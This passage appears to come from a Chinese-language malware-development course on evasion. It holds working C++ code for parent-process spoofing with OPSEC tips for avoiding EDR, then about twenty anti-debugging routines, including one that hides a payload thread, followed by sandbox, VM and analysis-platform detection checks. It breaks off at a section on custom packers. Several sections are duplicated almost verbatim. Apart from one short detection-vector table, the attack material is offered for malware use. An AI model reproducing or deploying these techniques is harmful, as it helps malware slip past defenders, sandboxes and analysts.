通过使用CreateProcessSTARTUPINFOEXPROC_THREAD_ATTRIBUTE_PARENT_PROCESS,你可以:

  • 设置一个看起来合法的进程作为父进程。

  • 将恶意负载伪装成由良性进程启动。


为什么有效

EDR通常会记录:

  • 父进程ID(PPID)

  • 父子进程关系

  • 命令行

通过伪造PPID,恶意软件能够伪装成正常的行为,减少被检测的机会。


需求

  • Windows 7及以上(支持扩展的启动信息)。

  • 目标父进程句柄,需要PROCESS_CREATE_PROCESS访问权限。


完整的C++代码 - 使用CreateProcess进行PPID伪造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#include <Windows.h>
#include <iostream>
#include <TlHelp32.h>

DWORD FindProcessId(const std::wstring& processName) {
PROCESSENTRY32W processInfo = { 0 };
processInfo.dwSize = sizeof(processInfo);

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) return 0;

Process32FirstW(snapshot, &processInfo);
if (!processName.compare(processInfo.szExeFile)) {
CloseHandle(snapshot);
return processInfo.th32ProcessID;
}

while (Process32NextW(snapshot, &processInfo)) {
if (!processName.compare(processInfo.szExeFile)) {
CloseHandle(snapshot);
return processInfo.th32ProcessID;
}
}

CloseHandle(snapshot);
return 0;
}

int main() {
// Step 1: Find a legitimate process to spoof, e.g. explorer.exe
DWORD parentPid = FindProcessId(L"explorer.exe");
if (!parentPid) {
std::cerr << "[-] Could not find explorer.exe\n";
return -1;
}

// Step 2: Open the process handle
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentPid);
if (!hParent) {
std::cerr << "[-] Failed to open parent process\n";
return -1;
}

// Step 3: Set up attribute list for spoofing PPID
STARTUPINFOEXA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
SIZE_T attrSize = 0;

si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(), 0, attrSize);

InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);
UpdateProcThreadAttribute(
si.lpAttributeList,
0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hParent,
sizeof(HANDLE),
NULL,
NULL
);

// Step 4: Create the new process with spoofed parent
char cmdLine[] = "C:\\Windows\\System32\\cmd.exe";

if (!CreateProcessA(
NULL,
cmdLine,
NULL,
NULL,
FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW,
NULL,
NULL,
&si.StartupInfo,
&pi)) {

std::cerr << "[-] Failed to create process: " << GetLastError() << "\n";
return -1;
}

std::cout << "[+] Process created with spoofed parent!\n";

DeleteProcThreadAttributeList(si.lpAttributeList);
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
CloseHandle(hParent);

return 0;
}

实际使用案例

恶意软件 / 工具 PPID伪造的使用
Cobalt Strike beacon通常伪造父进程为explorer.exe
SharpSploit 红队使用CreateSpoofedProcess()进行PPID伪造
FIN7 / APT32 rundll32.exe链中使用PPID伪造

OPSEC提示

  • 避免使用cmd.exepowershell.exe作为目标进程。

  • 匹配父子进程的命令行预期。

  • 命令行伪造结合使用(再次使用UpdateProcThreadAttribute)。

  • 确保令牌/ACL与伪造的父进程环境匹配

  • 无参数执行结合使用(例如rundll32mshta)。


检测向量

检测向量 检测方法
不寻常的PPID 通过父子进程路径不匹配的关联
创建进程 使用PROC_THREAD_ATTRIBUTE_PARENT_PROCESSCreateProcess
ACL不匹配 与父进程的令牌提升匹配
遥测偏差 与命令行、时间差的父进程不匹配

模块 7 – 反分析与高级规避

7.1 - 反调试技术

目标

通过使用低级系统检查、陷阱、内存破坏和未记录的Windows内部功能,实施分层防御,打扰或欺骗逆向工程师调试器沙箱分析师


反调试技术类别

类别 示例API / 概念
基于API的检查 IsDebuggerPresent, CheckRemoteDebuggerPresent, NtQueryInformationProcess等
PEB/TEB检查 BeingDebugged, NtGlobalFlag, 堆标志
基于陷阱 INT 3, ICEBP, 单步调试, INT 2D, 前缀跳跃
基于时间 RDTSC, QueryPerformanceCounter, GetTickCount
硬件特性 调试寄存器(Dr0–Dr7),线程隐藏,硬件断点
结构化异常处理 SEH, VEH陷阱,检测调试器干扰
内存操控 设置硬件断点,检查代码页
内核回调 未覆盖(需要内核驱动)

高级技术 + 代码

1. PEB.NtGlobalFlag 检测

检查堆标志是否被更改(调试器中常见)。

1
2
3
4
5
6
7
8
bool CheckNtGlobalFlag() {
#ifdef _M_X64
PPEB pPeb = (PPEB)__readgsqword(0x60);
#else
PPEB pPeb = (PPEB)__readfsdword(0x30);
#endif
return (pPeb->NtGlobalFlag & 0x70) != 0; // 典型的调试标志
}

标志 0x70 = FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK | FLG_HEAP_VALIDATE_PARAMETERS


2. 通过EFLAGS设置陷阱标志(单步调试)

设置TF位来引发单步异常。调试器通常会以不同的方式处理它。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
bool TrapFlagCheck() {
__try {
__asm {
pushfd
or dword ptr [esp], 0x100 // 设置Trap Flag
popfd
nop
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
return true; // 调试器可能会干扰单步执行
}
return false;
}

3. 前缀跳跃(未记录的反调试技巧)

1
2
3
4
5
6
7
8
__declspec(naked) void PrefixHop() {
__asm {
__emit 0xF3 // REP前缀
__emit 0x64 // FS:
__emit 0xF1 // ICEBP(1字节未记录的断点)
ret
}
}

这可以混淆调试器,特别是那些不能正确处理混合前缀/操作码的调试器。


4. INT 2D断点(防止OllyDbg / Immunity调试)

1
2
3
4
5
6
7
8
9
10
11
12
13
bool Int2DCheck() {
__try {
__asm {
pushad
mov al, 0
int 0x2D
popad
}
} __except (EXCEPTION_EXECUTE_HANDLER) {
return true; // 调试器处理了INT 2D,而不是操作系统
}
return false;
}

5. 硬件断点检测(DR0–DR7)

1
2
3
4
5
6
7
8
9
bool CheckHardwareBreakpoints() {
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
if (GetThreadContext(GetCurrentThread(), &ctx)) {
if (ctx.Dr0 || ctx.Dr1 || ctx.Dr2 || ctx.Dr3)
return true;
}
return false;
}

6. 通过RDTSC进行调试器计时检测

1
2
3
4
5
6
7
bool TimingCheckRDTSC() {
unsigned __int64 t1 = __rdtsc();
Sleep(10);
unsigned __int64 t2 = __rdtsc();

return (t2 - t1 < 1000000); // 太快 => 调试器干扰
}

7. 从调试器中隐藏线程

1
2
3
4
5
6
7
8
9
10
void HideThread() {
typedef NTSTATUS(WINAPI* pNtSetInformationThread)(
HANDLE, THREADINFOCLASS, PVOID, ULONG);

auto NtSetInformationThread = (pNtSetInformationThread)
GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetInformationThread");

if (NtSetInformationThread)
NtSetInformationThread(GetCurrentThread(), (THREADINFOCLASS)0x11, NULL, 0);
}

8. 自我调试技术(DebugObject检查)

一个进程不能被两个调试器调试。您可以调用DebugActiveProcess(GetCurrentProcessId())来进行自我调试。如果失败,说明另一个调试器已经连接。

1
2
3
4
5
6
7
bool SelfDebugCheck() {
if (DebugActiveProcess(GetCurrentProcessId())) {
DebugActiveProcessStop(GetCurrentProcessId());
return false; // 没有其他调试器存在
}
return true; // 另一个调试器阻止了该调用
}

9. 通过NtSetInformationThread隐藏线程

我们之前使用它来隐藏线程,下面是执行负载时不会被断点击中的更隐蔽方法。

1
2
3
4
5
6
7
8
9
10
11
12
void HidePayloadThread() {
HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)Payload, 0, 0, 0);

typedef NTSTATUS(WINAPI* pNtSetInformationThread)(
HANDLE, THREADINFOCLASS, PVOID, ULONG);
auto NtSetInformationThread = (pNtSetInformationThread)
GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetInformationThread");

if (NtSetInformationThread) {
NtSetInformationThread(hThread, (THREADINFOCLASS)0x11, 0, 0);
}
}

10. TLS回调:在入口点之前执行

TLS(线程局部存储)回调会在main()WinMain()之前执行,甚至在DLL中的DllMain()之前。大多数调试器如果断点设置得太晚,会错过此回调。

1
2
3
4
5
6
7
8
9
10
11
12
13
// 声明TLS回调
void NTAPI TLSCallback(PVOID, DWORD dwReason, PVOID) {
if (dwReason == DLL_PROCESS_ATTACH) {
MessageBoxA(0, "TLS Executed", "Anti-Debug", 0);
}
}

#pragma comment(linker, "/INCLUDE:_tls_used")
#pragma comment(linker, "/INCLUDE:__tls_callback")

extern "C" {
PIMAGE_TLS_CALLBACK __tls_callback = TLSCallback;
}

11. 堆标志篡改检测

调试器启用堆调试标志。我们可以通过以下方式检测它们:

1
2
3
4
5
6
7
8
bool HeapFlagsCheck() {
HANDLE heap = GetProcessHeap();
ULONG flags = *(PULONG)((PUCHAR)heap + 0x0C); // Windows堆标志的偏移
ULONG forceFlags = *(PULONG)((PUCHAR)heap + 0x10);

return (flags & HEAP_TAIL_CHECKING_ENABLED) ||
(forceFlags != 0);
}

12. NtQueryInformationProcess:DebugPort / DebugObject

这些本地API调用在内核级别检测调试器的存在。

1
2
3
4
5
6
7
8
9
10
11
12
13
bool NtDebugPortCheck() {
typedef NTSTATUS (WINAPI *pNtQueryInformationProcess)(
HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);

DWORD debugPort = 0;
auto NtQueryInformationProcess = (pNtQueryInformationProcess)
GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess");

NTSTATUS status = NtQueryInformationProcess(GetCurrentProcess(),
(PROCESSINFOCLASS)7, &debugPort, sizeof(debugPort), NULL);

return (status == 0 && debugPort != 0);
}

13. OutputDebugString行为(SEH反调试技巧)

该技巧依赖于OutputDebugStringA在调试器存在时的不同表现。

1
2
3
4
5
6
7
8
9
10
11
bool OutputDebugCheck() {
__try {
SetLastError(0);
OutputDebugStringA("Debugger?");
if (GetLastError() != 0)
return true; // 异常被抛出或以不同的方式处理
} __except (EXCEPTION_EXECUTE_HANDLER) {
return true;
}
return false;
}

14. VEH钩子检测通过内存扫描

虚拟异常处理程序(VEH)有时会被调试器钩住。您可以遍历VEH列表或扫描ntdll.dll中的内联钩子。

1
2
3
4
5
6
7
8
bool NtdllInlineHookCheck() {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
FARPROC func = GetProcAddress(hNtdll, "NtClose");

// 检查是否有意外跳转(例如,JMP,CALL,INT 3)
BYTE* b = (BYTE*)func;
return (b[0] == 0xCC || b[0] == 0xE9 || b[0] == 0xE8 || b[0] == 0xEB);
}

15. 检查ScyllaHide、TitanHide或已知钩子

一些高级工具会修补ntdllkernel32kernelbase。您可以扫描内存中的版本并与磁盘上的版本进行比较。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
bool CompareNtdllMemoryWithDisk() {
HMODULE hMem = GetModuleHandleA("ntdll.dll");

TCHAR path[MAX_PATH];
GetModuleFileNameA(hMem, path, MAX_PATH);

HANDLE hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);
if (hFile == INVALID_HANDLE_VALUE) return false;

HANDLE hMap = CreateFileMappingA(hFile, 0, PAGE_READONLY, 0, 0, 0);
BYTE* diskData = (BYTE*)MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);

BYTE* memData = (BYTE*)hMem;
bool hooked = false;

for (int i = 0; i < 1024; i++) {
if (memData[i] != diskData[i]) {
hooked = true;
break;
}
}

UnmapViewOfFile(diskData);
CloseHandle(hMap);
CloseHandle(hFile);

return hooked;
}

16. 自我调试技术 (DebugObject检查)

一个进程不能被两个调试器调试。你可以调用 DebugActiveProcess(GetCurrentProcessId()) 来进行自我调试。如果失败,说明已经有另一个调试器连接。

1
2
3
4
5
6
7
bool SelfDebugCheck() {
if (DebugActiveProcess(GetCurrentProcessId())) {
DebugActiveProcessStop(GetCurrentProcessId());
return false; // 没有其他调试器
}
return true; // 另一个调试器已阻止该调用
}

17. 使用 NtSetInformationThread 隐藏线程

我们之前用它来从调试器中隐藏线程。下面是一个更隐蔽的方法来执行不会被断点打中的payload。

1
2
3
4
5
6
7
8
9
10
11
12
void HidePayloadThread() {
HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)Payload, 0, 0, 0);

typedef NTSTATUS(WINAPI* pNtSetInformationThread)(
HANDLE, THREADINFOCLASS, PVOID, ULONG);
auto NtSetInformationThread = (pNtSetInformationThread)
GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetInformationThread");

if (NtSetInformationThread) {
NtSetInformationThread(hThread, (THREADINFOCLASS)0x11, 0, 0);
}
}

18. TLS回调:在入口点之前执行

TLS(线程局部存储)回调会在 main()WinMain() 之前执行,甚至在DLL中的 DllMain() 之前。大多数调试器错过此回调(尤其在断点设置得太晚的情况下)。

1
2
3
4
5
6
7
8
9
10
11
12
13
// 声明TLS回调
void NTAPI TLSCallback(PVOID, DWORD dwReason, PVOID) {
if (dwReason == DLL_PROCESS_ATTACH) {
MessageBoxA(0, "TLS Executed", "Anti-Debug", 0);
}
}

#pragma comment(linker, "/INCLUDE:_tls_used")
#pragma comment(linker, "/INCLUDE:__tls_callback")

extern "C" {
PIMAGE_TLS_CALLBACK __tls_callback = TLSCallback;
}

19. 堆标志篡改检测

调试器会启用堆调试标志。我们可以通过以下方式检测它们:

1
2
3
4
5
6
7
8
bool HeapFlagsCheck() {
HANDLE heap = GetProcessHeap();
ULONG flags = *(PULONG)((PUCHAR)heap + 0x0C); // Windows堆标志的偏移
ULONG forceFlags = *(PULONG)((PUCHAR)heap + 0x10);

return (flags & HEAP_TAIL_CHECKING_ENABLED) ||
(forceFlags != 0);
}

20. NtQueryInformationProcess: DebugPort / DebugObject

这些本地API调用在内核级别检测调试器的存在。

1
2
3
4
5
6
7
8
9
10
11
12
13
bool NtDebugPortCheck() {
typedef NTSTATUS (WINAPI *pNtQueryInformationProcess)(
HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);

DWORD debugPort = 0;
auto NtQueryInformationProcess = (pNtQueryInformationProcess)
GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess");

NTSTATUS status = NtQueryInformationProcess(GetCurrentProcess(),
(PROCESSINFOCLASS)7, &debugPort, sizeof(debugPort), NULL);

return (status == 0 && debugPort != 0);
}

21. OutputDebugString行为 (SEH反调试技巧)

此技巧依赖于 OutputDebugStringA 在调试器存在时的不同表现。

1
2
3
4
5
6
7
8
9
10
11
bool OutputDebugCheck() {
__try {
SetLastError(0);
OutputDebugStringA("Debugger?");
if (GetLastError() != 0)
return true; // 异常被抛出或被不同方式处理
} __except (EXCEPTION_EXECUTE_HANDLER) {
return true;
}
return false;
}

22. VEH钩子检测(通过内存扫描)

虚拟异常处理程序(VEH)有时会被调试器钩住。你可以遍历VEH列表或扫描 ntdll.dll 中的内联钩子。

1
2
3
4
5
6
7
8
bool NtdllInlineHookCheck() {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
FARPROC func = GetProcAddress(hNtdll, "NtClose");

// 检查是否有意外跳转(例如,JMP,CALL,INT 3)
BYTE* b = (BYTE*)func;
return (b[0] == 0xCC || b[0] == 0xE9 || b[0] == 0xE8 || b[0] == 0xEB);
}

23. 检查 ScyllaHide、TitanHide 或已知钩子

一些高级工具会修补 ntdllkernel32kernelbase。你可以扫描内存中的版本并与磁盘上的版本进行比较。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
bool CompareNtdllMemoryWithDisk() {
HMODULE hMem = GetModuleHandleA("ntdll.dll");

TCHAR path[MAX_PATH];
GetModuleFileNameA(hMem, path, MAX_PATH);

HANDLE hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);
if (hFile == INVALID_HANDLE_VALUE) return false;

HANDLE hMap = CreateFileMappingA(hFile, 0, PAGE_READONLY, 0, 0, 0);
BYTE* diskData = (BYTE*)MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);

BYTE* memData = (BYTE*)hMem;
bool hooked = false;

for (int i = 0; i < 1024; i++) {
if (memData[i] != diskData[i]) {
hooked = true;
break;
}
}

UnmapViewOfFile(diskData);
CloseHandle(hMap);
CloseHandle(hFile);

return hooked;
}

附加学习资源

您提供的链接是对每个类别的深入剖析:


实际案例:Al-Khaser

开源的**Al-Khaser项目**包含数百种反调试、反虚拟机和规避技术。

1
git clone https://github.com/LordNoteworthy/al-khaser

您可以从以下目录提取它们的反调试测试:

1
2
al-khaser/AntiDebug/
al-khaser/EDR Evasion/

每个都有标签、文档,并准备好用于实际使用或仿真。


总结

技巧 被绕过 仍然有效?
IsDebuggerPresent ScyllaHide, TitanHide 是的,作为一层防御
陷阱标志 / INT 2D 低端沙箱 是的
TLS回调 静态扫描器 是的
VEH / SEH陷阱 高级调试 非常有效
DRx寄存器 手动RE工具 关键
自我调试 进程注入检查 WinDbg, x64dbg
TLS回调 早期执行 OllyDbg, 静态AV
堆标志 运行时完整性 软件断点
NtQuery DebugPort 内核级调试器检查 TitanHide
VEH内存扫描 钩子检测 ScyllaHide, AV EDR
OutputDebugString 基于SEH的触发器 管理型调试器
Ntdll内联钩子 内存完整性 用户模式rootkit

7.2 - 反沙箱技术

目标: 检测并规避沙箱环境,如 Cuckoo、Any.Run、Joe Sandbox、Hybrid Analysis 或内部 AV 沙箱。


1. 检查已知沙箱遗留物(文件、进程、服务、窗口标题)

许多沙箱环境会留下痕迹或运行已知的进程,这些可以被检测到。包括默认的进程名、已安装的服务、特定的文件或窗口名。

示例:检测已知的可疑进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
bool IsSandboxProcessPresent() {
const char* suspicious[] = {
"vmsrvc.exe", "vmwaretray.exe", "vmtoolsd.exe", "df5serv.exe",
"vboxservice.exe", "vboxtray.exe", "xenservice.exe", "joeboxcontrol.exe"
};

PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (Process32First(snapshot, &pe32)) {
do {
for (auto& name : suspicious) {
if (_stricmp(pe32.szExeFile, name) == 0) {
CloseHandle(snapshot);
return true;
}
}
} while (Process32Next(snapshot, &pe32));
}

CloseHandle(snapshot);
return false;
}

2. 时间检查(跳过休眠、RDTSC 时间)

沙箱可能会操控或加速系统时间,以绕过恶意软件执行中的延迟。这些异常可以通过时间 API 或 CPU 指令检测到。

示例:检测跳过休眠

1
2
3
4
5
6
bool SleepTimingCheck() {
DWORD start = GetTickCount();
Sleep(5000);
DWORD end = GetTickCount();
return (end - start < 4900); // 沙箱可能跳过了休眠
}

示例:使用 RDTSC 检测 CPU 周期差异

1
2
3
4
5
6
7
8
9
10
bool RdtscTimingCheck() {
unsigned int t1, t2;
__asm {
rdtsc
mov t1, eax
rdtsc
mov t2, eax
}
return (t2 - t1 < 100); // 差距非常小 = 仿真或沙箱
}

3. 鼠标移动或用户交互检测

大多数自动化沙箱不会模拟人工输入。恶意软件可以延迟执行,直到检测到鼠标移动。

1
2
3
4
5
6
7
bool MouseMovedRecently() {
POINT pt1, pt2;
GetCursorPos(&pt1);
Sleep(3000); // 给用户移动的时间
GetCursorPos(&pt2);
return (pt1.x != pt2.x || pt1.y != pt2.y);
}

4. 检查可疑的用户名或计算机名

沙箱环境通常使用像“sandbox”、“malware”、“analyst”这样的通用名称。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
bool CheckUserComputerName() {
char user[256], comp[256];
DWORD size = 256;

GetUserNameA(user, &size);
size = 256;
GetComputerNameA(comp, &size);

const char* bad[] = { "sandbox", "malware", "test", "lab", "analyst" };

for (auto& keyword : bad) {
if (strstr(user, keyword) || strstr(comp, keyword)) {
return true;
}
}

return false;
}

5. 屏幕分辨率或色深检查

虚拟机和沙箱通常使用非标准的分辨率或减少色深来节省资源。

1
2
3
4
5
bool LowResCheck() {
int width = GetSystemMetrics(SM_CXSCREEN);
int height = GetSystemMetrics(SM_CYSCREEN);
return (width < 1024 || height < 768);
}

6. 内存或 CPU 检查

低资源(例如:<2GB RAM)可能表示受控环境。

1
2
3
4
5
6
bool LowMemoryCheck() {
MEMORYSTATUSEX statex;
statex.dwLength = sizeof(statex);
GlobalMemoryStatusEx(&statex);
return (statex.ullTotalPhys < (2LL * 1024 * 1024 * 1024)); // 2 GB
}

7. 注册表遗留物(Sandboxie、JoeBox 等)

某些工具会创建独特的注册表键或值。

1
2
3
4
5
6
7
8
bool SandboxieRegistryCheck() {
HKEY hKey;
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, "Software\\Sandboxie", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegCloseKey(hKey);
return true;
}
return false;
}

实际应用

这些技术被像 TrickBot、GuLoader 和 Remcos 这样的恶意软件家族使用。它们结合多种检查,以确保在执行恶意载荷之前不会被分析。


测试和分析工具

7.3 - 反虚拟机检测技术

目标: 识别恶意软件是否在虚拟机(VM)中运行,例如 VirtualBox、VMware、Hyper-V、QEMU 或 Parallels,并改变行为或中止执行以避免分析。


1. 使用 CPUID 指令检测虚拟化管理程序

CPUID 指令可用于检测处理器是否在虚拟化管理程序下运行。

示例:检查虚拟化管理程序位

1
2
3
4
5
6
7
8
9
10
#include <iostream>
#include <intrin.h>

bool IsRunningInVM_CPUID() {
int cpuInfo[4] = { 0 };
__cpuid(cpuInfo, 1);

// ECX 的第31位是虚拟化管理程序存在位
return (cpuInfo[2] >> 31) & 1;
}

如果返回 true,则表示存在虚拟化管理程序,可能是在虚拟机内执行。


2. 检查已知的 MAC 地址

虚拟机通常使用默认的 MAC 地址前缀。例如:

  • VMware: 00:05:69, 00:0C:29, 00:50:56

  • VirtualBox: 08:00:27

示例:枚举网络适配器以检查虚拟机 MAC 地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <iphlpapi.h>
#include <iostream>
#pragma comment(lib, "iphlpapi.lib")

bool HasVMMacAddress() {
PIP_ADAPTER_INFO adapterInfo;
DWORD bufLen = sizeof(IP_ADAPTER_INFO);
adapterInfo = (IP_ADAPTER_INFO*)malloc(bufLen);

if (GetAdaptersInfo(adapterInfo, &bufLen) == ERROR_BUFFER_OVERFLOW) {
free(adapterInfo);
adapterInfo = (IP_ADAPTER_INFO*)malloc(bufLen);
}

if (GetAdaptersInfo(adapterInfo, &bufLen) == NO_ERROR) {
PIP_ADAPTER_INFO adapter = adapterInfo;
while (adapter) {
char macStr[18];
sprintf_s(macStr, "%02X:%02X:%02X:%02X:%02X:%02X",
adapter->Address[0], adapter->Address[1], adapter->Address[2],
adapter->Address[3], adapter->Address[4], adapter->Address[5]);

if (strncmp(macStr, "00:05:69", 8) == 0 ||
strncmp(macStr, "00:0C:29", 8) == 0 ||
strncmp(macStr, "08:00:27", 8) == 0 ||
strncmp(macStr, "00:50:56", 8) == 0) {
free(adapterInfo);
return true;
}
adapter = adapter->Next;
}
}

free(adapterInfo);
return false;
}

3. 检查虚拟机特定设备(驱动程序)

通过使用 Windows API 或注册表访问,可以查找与虚拟机平台相关的设备驱动程序。

示例:检查注册表中是否有虚拟机工具

1
2
3
4
5
6
7
8
9
10
11
12
#include <windows.h>

bool CheckVMwareTools() {
HKEY hKey;
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Services\\vmtools",
0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegCloseKey(hKey);
return true;
}
return false;
}

可以扩展这个检查,查找以下驱动程序:

  • vmmousevmhgfsVBoxServiceVBoxGuestqemu-ga

4. 枚举 BIOS 或系统字符串

虚拟机平台通常在 BIOS 或 SMBIOS 数据中留下可识别的痕迹。

示例:使用 GetSystemFirmwareTable 或 WMI

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <Windows.h>
#include <iostream>

bool CheckBIOSforVM() {
char manufacturer[128];
DWORD size = 128;
if (GetSystemFirmwareTable('RSMB', 0, manufacturer, size)) {
if (strstr(manufacturer, "VMware") || strstr(manufacturer, "VirtualBox") ||
strstr(manufacturer, "QEMU") || strstr(manufacturer, "Xen") || strstr(manufacturer, "Hyper-V")) {
return true;
}
}
return false;
}

替代方法:使用 WMI 查询(需要链接 wbemuuid.lib


5. 时间和性能异常

虚拟机可能会表现出不寻常的时间特征(例如,较慢的 TSC,I/O 性能不一致)。可以将这些数据与物理机基准进行对比。


6. 检查文件系统和设备路径

路径如 \\.\VBoxMiniRdrDN 或文件如 C:\windows\system32\drivers\vmmouse.sys 是很好的指示符。

示例:检查设备是否存在

1
2
3
4
5
6
7
8
bool CheckVBoxDevice() {
HANDLE hDevice = CreateFileA("\\\\.\\VBoxMiniRdrDN", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice != INVALID_HANDLE_VALUE) {
CloseHandle(hDevice);
return true;
}
return false;
}

实际恶意软件中的检测

像 Lokibot、Agent Tesla、Redline Stealer 和 Qbot 这样的恶意软件家族常常执行多向反虚拟机检测,以避免动态分析。


进一步阅读和工具

7.4 - 自动化分析平台检测(Hybrid Analysis、Any.Run、Cuckoo 等)

目标:
检测二进制文件是否在已知的恶意软件分析服务或自动化沙箱环境中执行。这些服务通常会留下独特的遗留物或行为模式,可以被检测并用来规避分析。


1. 检测已知沙箱遗留物(文件/进程/注册表)

1.1 文件路径

沙箱有时会模拟文件系统,并可能包含已知路径。

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <windows.h>
#include <string>

bool IsRunningInSandboxFileArtifacts() {
DWORD attrib = GetFileAttributesA("C:\\sample\\testfile.txt"); // 已知 Cuckoo 遗留物
if (attrib != INVALID_FILE_ATTRIBUTES && !(attrib & FILE_ATTRIBUTE_DIRECTORY)) {
return true;
}

// HybridAnalysis 有时会创建 C:\analysis
attrib = GetFileAttributesA("C:\\analysis");
return (attrib != INVALID_FILE_ATTRIBUTES && (attrib & FILE_ATTRIBUTE_DIRECTORY));
}

1.2 进程名称

自动化工具通常会启动已知的父进程或兄弟进程。

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <tlhelp32.h>
#include <string>

bool IsSuspiciousProcessRunning() {
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (Process32First(snapshot, &pe32)) {
do {
std::string proc(pe32.szExeFile);
if (proc == "vboxservice.exe" || proc == "vmsrvc.exe" ||
proc == "sandbox.exe" || proc == "sample.exe" ||
proc == "cuckoo.exe") {
CloseHandle(snapshot);
return true;
}
} while (Process32Next(snapshot, &pe32));
}

CloseHandle(snapshot);
return false;
}

1.3 注册表键

一些沙箱会创建特殊的注册表键或条目来模拟安装。

示例:

1
2
3
4
5
6
7
8
9
10
#include <windows.h>

bool CheckSandboxRegistry() {
HKEY hKey;
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Cuckoo", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegCloseKey(hKey);
return true;
}
return false;
}

2. 检查网络行为和 DNS 模式

像 Any.Run 和 HybridAnalysis 这样的平台使用已知的子域,如:

  • *.hybrid-analysis.com

  • *.any.run

  • DNS 服务器地址,如 192.168.56.1(VirtualBox NAT)

你可以发出 DNS 查询,看看是否解析失败或解析为假的本地 IP。


3. 环境行为检查

这些平台通常会:

  • 不模拟鼠标或键盘输入

  • 在启动后立即执行样本

  • 限制或没有用户交互

你可以延迟执行并监控是否有输入。

示例:输入检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <windows.h>
#include <iostream>

bool WaitForUserInteraction() {
int timeout = 10000; // 10 秒
DWORD start = GetTickCount();
while (GetTickCount() - start < timeout) {
if (GetAsyncKeyState(VK_LBUTTON) || GetAsyncKeyState(VK_RETURN)) {
return true; // 用户存在
}
Sleep(500);
}
return false; // 可能是沙箱或自动化环境
}

4. 基于时间的规避

一些沙箱会加速或跳过长时间的延迟。你可以对比:

  • GetTickCount()Sleep() 时长

  • QueryPerformanceCounter 偏差

  • RDTSC 时序


5. 内存和 PE 扫描检测

你可以检测是否通过沙箱加载器将 PE 文件内存映射或注入,使用意外的内存区域或保护标志。

这更为高级,可能需要扫描进程内存区域(例如,通过 VirtualQueryEx)。


实际使用

恶意软件作者在以下恶意软件中使用这些技术:

  • Emotet

  • TrickBot

  • Dridex

  • AgentTesla

这些恶意软件通过结合使用遗留物、注册表、时间、输入检测等手段来避免被像 Cuckoo、Joe Sandbox 或 Any.Run 等平台分析。


测试工具

7.5 - 熵值降低与自定义打包器

目标:
规避依赖统计分析的检测机制,特别是基于 熵值 的检测方法,旨在检测被打包或混淆的二进制文件。本模块涵盖如何 降低载荷的熵值创建自定义打包器,以击败静态防病毒签名和熵值启发式检测。


背景

许多静态防病毒和沙箱解决方案检查 PE 文件中各个段的熵值(尤其是 .text.data.rsrc),以检测:

